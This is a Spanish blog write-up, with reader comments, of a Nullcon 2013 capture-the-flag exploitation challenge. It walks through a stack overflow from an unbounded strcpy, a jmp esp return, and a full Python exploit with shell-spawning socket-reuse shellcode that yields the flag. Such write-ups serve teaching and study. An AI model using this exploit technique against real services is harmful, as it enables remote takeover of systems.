Hace ya unos días estuve "echando un ojo" junto con Javier Civantos (colega de w3b0n3s) a los niveles propuestos en el CTF Battle Underground de la Nullcon. En él había 5 categorias de 5 pruebas cada una, compuestas de: programación, criptografía, ingeniería inversa, explotación y otros tipos (miscellaneous). Cada prueba, según el nivel de dificultad, sumaba 100, 200, 300 o 400 puntos. Aunque no pudimos resolver muchas debido al nivel de dificultad y duración del CTF, una de las que más me entretuvo fue Exploitation 4, de 200 puntos.
En esta entrada trataré de exponer los pasos que llevé a cabo para resolverla.
Como vemos en la imagen, la prueba consiste en explotar un daemon que corre en el puerto 6791 del host nullcon-e3.no-ip.org con el fin de obtener la key que da por solucionado el nivel. Para poder llevar a cabo la explotación, se nos proporciona el binario del daemon en cuestión.
Descarga: Exploitation 4
MD5: cd996acf35840d21a4062764511f10d2
Identificación del binario
Una vez descargado el binario, nos interesa obtener información de él, por lo que usamos el comando file.
$ file srv srv: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, BuildID[sha1]=0xf76710059fef89b0cc25d5847ed47913aa9bd3ce, stripped
Como se observa, es un ejecutable en formato ELF para Linux, arquitectura i386, utiliza enlace dinámico y se encuentra "stripped", que quiere decir que los símbolos que genera el compilador (p.e, nombres de las funciones) han sido eliminados.
Una vez identificado el binario, es útil saber las protecciones implementa. Para ello usamos la herramienta checksec.
$ /tools/exploiting/checksec.sh --file srv RELRO STACK CANARY NX PIE FILE Partial RELRO No canary found NX disabled No PIE srv
Por suerte, el binario no implementa ninguna protección considerable, aunque no sabemos si la máquina donde está corriendo tiene ASLR activado.
Tras ejecutar el binario, se queda en el puerto 6791 a la espera de conexiones. Si realizamos una, nos manda ingresar una identificación para registrarnos con el sistema.
$ ncat 127.0.0.1 6791 Enter Identification to register with the system: Dani First name not found $ ncat 127.0.0.1 6791 Enter Identification to register with the system: Dani Gar First name not found
Enviemos el contenido que enviemos, el servidor siempre nos devuelve "First name not found", por lo que nos toca hacer ingeniería inversa al binario para saber qué hace en realidad.
Después de pasar un rato haciendo un pequeño análisis con IDA, podemos ver que la función que procesa la cadena que enviamos hace algo como lo siguiente:
//----- (0804887C) -------------------------------------------------------- ssize_t __cdecl comprobarCadena(int fd, char *cadena) { size_t v2; // eax@6 char resto; // [sp+18h] [bp-140h]@1 char nombre; // [sp+7Ch] [bp-DCh]@1 char apellido; // [sp+E0h] [bp-78h]@1 char *encontrado; // [sp+144h] [bp-14h]@1 char *src; // [sp+148h] [bp-10h]@1 void *msgEnviar; // [sp+14Ch] [bp-Ch]@2 memset(&nombre, 0, 0x64u); memset(&apellido1, 0, 0x64u); memset(&apellido2, 0, 0x64u); src = cadena; // Busca en cadena la primera aparición de dos puntos (:) encontrado = strchr(cadena, 58); if ( encontrado ) { // Coloca un nulo donde ha encontrado los dos puntos e incrementa *encontrado++ = 0; // Copia el nombre (hasta llegar al nulo), con un máximo de 0x63 bytes strncpy(&nombre, src, 0x63u); // Ahora src apunta al primer apellido src = encontrado; // Busca la siguiente aparición de dos puntos (segundo apellido) encontrado = strchr(encontrado, 58); // Si lo encuentra... if ( encontrado ) { // Coloca un nulo donde ha encontrado los dos puntos e incrementa *encontrado++ = 0; // Copia el primer apellido strncpy(&apellido1, src, 0x63u); // Apunta src al segundo apellido src = encontrado; // Copia en apellido2 el resto (sin limites??) strcpy(&apellido2, encontrado); // Sustituye los bytes 0x0A (\n), 0x0D (\r), 0x20 (ESPACE) por nulos filtrarCaracteres(&nombre); filtrarCaracteres(&apellido1); filtrarCaracteres(&apellido2); msgEnviar = "Thank you ;)\n"; } else msgEnviar = "Last name not found\n"; } else msgEnviar = "First name not found\n"; v2 = strlen((const char *)msgEnviar); return send(fd, msgEnviar, v2, 0); }
Con esto las cosas quedan bastante más claras. Como se ve, la función que comprueba el mensaje que enviamos, requiere que la cadena a enviar esté dividida por dobles puntos (:). Una vez es recibida, la parte en 3 trozos (nombre, primer apellido y segundo apellido) y copia cada uno ellos en un buffer distinto con la función strncpy, a diferencia del tercer trozo, que es copiado con strcpy (sin limites). He aquí el stack overflow.
$ ncat 127.0.0.1 6791 Enter Identification to register with the system: NOMBRE:APELLIDO1:APELLIDO2 Thank you ;)
Enviando la identificación correctamente nos devuelve un "Thank you ;)". ¡¡A EXPLOTAR!!
$ echo A:B:$(/tools/exploiting/pattern_create.rb 150) | ncat 127.0.0.1 6791 Enter Identification to register with the system:
Después de enviar la cadena de caracteres aleatorios generada con pattern_create, si echamos un ojo a los logs del sistema (/var/log/messages), podemos ver que se ha detectado una violación de segmento (segfault) en el proceso "srv" al no poder acceder a la dirección 0x65413165 (parte de nuestra cadena), por lo que hemos sobreescrito la dirección de retorno.
srv[10269]: segfault at 65413165 ip 0000000065413165 sp
$ /tools/exploiting/pattern_offset.rb 65413165 [*] Exact match at offset 124
Con pattern_offset vemos que comienza a sobreescribirse después del byte 124.
Ahora sólo nos quedaría enviar un shellcode y saltar hacia él, pero como no sabemos si el server tiene ASLR activado, vamos a tratar buscar con msfelfscan alguna instrucción de salto al registro ESP, de forma que podamos saltárnoslo utilizando una técnica ret2reg.
NOTA: Para no alargar demasiado la entrada, si queréis saber más sobre técnicas ret2reg podéis echar un ojo a la sección de Papers de la gran comunidad OverflowedMinds, en que la podéis encontrar unos excelentes documentos sobre bypass de ASLR por parte de vlan7.
$ /tools/exploits/msf4/msfelfscan -j esp srv [srv] 0x08048827 jmp esp
Perfecto, en la dirección 0x08048827 ha encontrado un "jmp esp". Ahora la idea es colocar el shellcode justo después de la dirección de retorno a escribir.
[ RELLENO - 124 bytes ] [ RET - JMP ESP ] [ SHELLCODE ]
Para comprobar que en el momento que la dirección de retorno es sobreescrita, ESP apunta a la continuación de los datos que hemos enviado, lanzamos lo siguiente mientras en otra ventana seguimos a los procesos secundarios de srv con GDB.
$ perl -e 'print "B:B:" . "A"x128 . "B"x100' | ncat 127.0.0.1 6791 Enter Identification to register with the system:
$ gdb -q (gdb) shell pgrep srv 5578 (gdb) attach 5578 Attaching to process 5578 Reading symbols from /home/dani/nullcon/exploitation_4/srv...(no debugging symbols found)...done. Reading symbols from /lib/i386-linux-gnu/i686/cmov/libc.so.6...(no debugging symbols found)...done. Loaded symbols for /lib/i386-linux-gnu/i686/cmov/libc.so.6 Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done. Loaded symbols for /lib/ld-linux.so.2 0xf771e430 in __kernel_vsyscall () (gdb) set follow-fork-mode child (gdb) c Continuing. [New process 5735] Program received signal SIGSEGV, Segmentation fault. [Switching to process 5735] 0x41414141 in ?? () (gdb) i r esp esp 0xffe73c00 0xffe73c00 (gdb) x/104xb $esp-8 0xffe73bf8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0xffe73c00: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42 ---> ESP 0xffe73c08: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0xffe73c10: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0xffe73c18: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0xffe73c20: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0xffe73c28: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0xffe73c30: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0xffe73c38: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0xffe73c40: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0xffe73c48: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0xffe73c50: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0xffe73c58: 0x42 0x42 0x42 0x42 0x42 0x42 0x42 0x42 (gdb)
Como vemos, después de sobreescribirse la dirección de retorno, ESP apunta al resto de datos enviados, por lo que ahí alojaremos la shellcode para luego saltar hacia ella con el "jmp esp", y de esta forma evadir el ASLR.
Teniendo todos estos datos, sólo nos queda hacer un pequeño exploit.
NOTA: Debido a diversos problemas durante la explotación, me vi obligado a usar una shellcode que rehusara el socket del cliente, duplicando su descriptor (4) en STDIN (0), STDOUT (1) y STDERR (2) con un dup2, y luego ejecutara un execve("/bin/sh", 0, 0), pudiendo de esta forma interactuar con el shell abierto a través del socket.
Si os interesa saber más sobre el shellcode, podéis descargar el código en ensamblador desde aquí.
#!/usr/bin/python # # NullCon 2013 CTF - Battle Underground # Exploitation 4 - 200 points (ASLR) # danigargu @ w3b0n3s - http://danigargu.blogspot.com/ # Flag: 794fc8e2576887bedd36b20757a533a3 # import os import sys import time from socket import * from struct import pack p = lambda x : pack("<L" , x) s = socket(AF_INET, SOCK_STREAM) #s.connect(('127.0.0.1', 6791)) s.connect(('nullcon-e3.no-ip.org', 6791)) junk = "B:B:" + "A"*124 jmp_esp = p(0x08048827) # jmp esp fd = 4 # socket client fd payload = jmp_esp # shellcode - socket reuse # dup2(4,0) & dup2(4,1) & dup2(4,2) & execve("/bin/sh", 0, 0) payload += ("\x31\xc9\x31\xdb\xb3" + chr(fd) + "\x6a\x3f\x58\xcd\x80" "\x41\x80\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x68\x2f\x2f" "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80") s.recv(255) s.send(junk + payload) time.sleep(0.5) # interact with the shell while True: try: sys.stdout.write("$ ") sys.stdout.flush() c = sys.stdin.readline() s.send(c) time.sleep(0.5) sys.stdout.write(s.recv(4095)) except KeyboardInterrupt, e: break
Tras ejecutar el exploit vemos que podemos ejecutar comandos en la máquina de la prueba, descubriendo de esta forma el fichero key.txt que se encuentra en la raíz, con el que a partir de su contenido podemos dar por solucionada la prueba ;-D
dani@debian:~/nullcon$ python exploit.py $ pwd / $ ls /bin//sh: 2: ls: not found $ echo * bin etc key.txt lib srv var $ cat key.txt 794fc8e2576887bedd36b20757a533a3 $
FLAG: 794fc8e2576887bedd36b20757a533a3
Un saludo!
Genial tio!
ResponderEliminarImagino que encontraste una instrucción 'jmp esp' debido a que el ejecutable tenía librerías compartidas, no? O tenía por ahí un 'jmp esp' hardcodeado?
Tienes el código del shellcode en ensamblador? Estaría bien verlo ;)
Me ha gustado cómo te montas la shell interactiva!
Gracias!
Buenas Newlog!
ResponderEliminarNo, el msfelfscan realiza la búsqueda en secciones ejecutables del binario. El 'jmp esp' ese lo encontró en la sección .text. Posiblemente el creador de la prueba lo colocaría en el código para facilitar la explotación, pero no sé.
Otra idea, como tú bien dices, podía haber sido buscar la instrucción en las librerías compartidas, pero debido a que son afectadas por ASLR, y que tampoco se tenía acceso ellas, el tema se hubiese complicado un poquillo más.
El código del shellcode no lo he encontrado, se ve que lo tenía por aquí guardado de algún otro CTF con prisas. De todas formas, ya que lo dices, voy a tratar de recomponerlo, y así hago memoria ;-D
Me alegra que te haya gustado tío! Tengo preparado algo parecido con ROP para exploits remotos (ASLR/NX) a partir de la creación de un custom stack con técnicas Multistage. A ver si saco algo más de tiempo para investigarlo y lo publico.
Gracias a ti por echarlo un ojo, crack! ;-)
Acabo de modificar la entrada, aquí dejo el código en ensamblador del shellcode utilizado: https://sites.google.com/site/danigargu/shellcodes/socket_reuse.s
ResponderEliminarUn saludo!
Muy currado Dani,
ResponderEliminar¿qué problemas tenías para tener que reutilizar el socket?
Gracias Adrián! ;-)
ResponderEliminarEl problema era que no me funcionaba ningún reverse tcp shell, pero vaya, seguramente sería porque los estaba generando con Metasploit y sus encoders, ya que hace unos días lo probé con otro shellcode y tiraba perfectamente.
Se me pasó tu respuesta Dani.
ResponderEliminarGracias por el código, quería ver una cosa a ver si lo hacías como imaginaba y veo que sí. Pero tengo una duda, cómo sabes que el descriptor del socket es un 4? Ese número podría ser cualquier otro dependiendo de las conexiones que tuviera abiertas el servicio, no?
Imagino que depende de como esté programado el servicio... Qué hiciste, probar con un 4 y funcionó? O quizá sea yo que me equivoco y siempre sea así.
Saludos y gracias por el código ;)
De nada hombre!
ResponderEliminarEn este caso lo sé porque hasta el mismo servidor nos dice que usa el descriptor 4 para el socket del cliente, aunque como crea hijos con fork(), siempre usa el 3 para el servidor y el 4 para el cliente. Pero sí, si no usaría forks, ese número podría ser cualquier otro según las conexiones abiertas.
Para obtener los descriptores también podemos depurar o echar un ojo al directorio "/proc/{pid}/fd/".
Este enlace igual te resulta interesante ;-)
Un saludo!
Ahhh sch3m4, cómo me divertí en este hilo :D
ResponderEliminarhttp://www.wadalbertia.org/foro/viewtopic.php?f=14&t=5139
Hablamos!